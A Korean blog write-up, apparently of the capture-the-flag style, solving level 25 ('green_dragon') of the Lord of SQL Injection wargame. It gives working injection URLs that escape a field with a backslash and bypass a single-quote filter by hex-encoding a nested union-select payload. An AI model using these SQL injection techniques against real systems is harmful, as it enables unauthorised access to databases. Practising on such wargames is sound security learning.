$ 웹 해킹 $/los.rubiya.kr

[Lord of SQL_injection] #25 green_dragon

ws1004 2019. 10. 25. 22:38

 

문제를 보면 쿼리문이 2개 인것으로 보아 union select 를 이용해서 데이터를 넘겨야 할것 같습니다.

 

일단 이런 문제를 접했을때 필터링 값을 보면 '(싱글 쿼터)를 필터링 하고 있습니다. 

그렇기 때문에 문자열을 넘길 수 없기 때문에 hex값으로 넘겨야 합니다.

 

union select 로 받아야 하는 데이터는 2개 result['id']와 result['pw']이기 때문에 아래와 같이 첫번째 쿼리문을 우회 할 수 있습니다.

 

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=%20or%20id=0x61646d696e%20union%20select%201,2%23

 

이제 서브 쿼리에 값을 1,2 대신에 값을 넣어 줘야 하는데, 문자열이 안되기 때문에 모든 데이터를 hex화 시켜서 전달을 해야 합니다.

 

\ -> 0x5C 

 union select 0x61646d696e# ->0x20756e696f6e2073656c6563742030783631363436643639366523

 

union select 0x61646d696e# 를 hex로 바꾸는 법은 아래의 코드를 이용했습니다.

 

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=%20or%20id=0x61646d696e%20union%20select%200x5c,0x20756e696f6e2073656c6563742030783631363436643639366523%23